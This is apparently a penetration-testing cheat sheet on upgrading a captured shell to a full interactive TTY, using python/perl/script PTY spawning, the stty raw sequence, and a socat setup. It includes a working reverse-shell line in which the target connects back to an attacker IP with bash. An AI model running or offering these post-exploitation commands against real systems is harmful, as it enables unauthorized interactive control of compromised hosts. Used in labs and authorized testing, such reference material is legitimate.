Shell Upgrade & TTY

Which interpreter is available

Check before you pick a payload:

which python python3 python2 perl ruby socat script

Confirm the python version:

ls -la /usr/bin/python*

Spawn a PTY

python3 (most common):

python3 -c 'import pty; pty.spawn("/bin/bash")'

python2:

python -c 'import pty; pty.spawn("/bin/bash")'

No python, use script:

script -qc /bin/bash /dev/null

No python, use perl:

perl -e 'exec "/bin/bash";'

Full upgrade

After the PTY, background the shell:

Ctrl+Z

On your local box, drop to raw and resume:

stty raw -echo; fg

Back in the shell, set the term:

export TERM=xterm

Then reset:

reset

Match your terminal size

Read your local size:

stty -a | head -1

Set it in the remote shell (use your real values):

stty rows 38 columns 190

socat full TTY

Listener on your box:

socat file:`tty`,raw,echo=0 tcp-listen:4444

Target connects back with a full pty:

socat tcp-connect:<YOUR_IP>:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane

If stty raw -echo; fg leaves your terminal broken after the shell dies, type reset and press enter.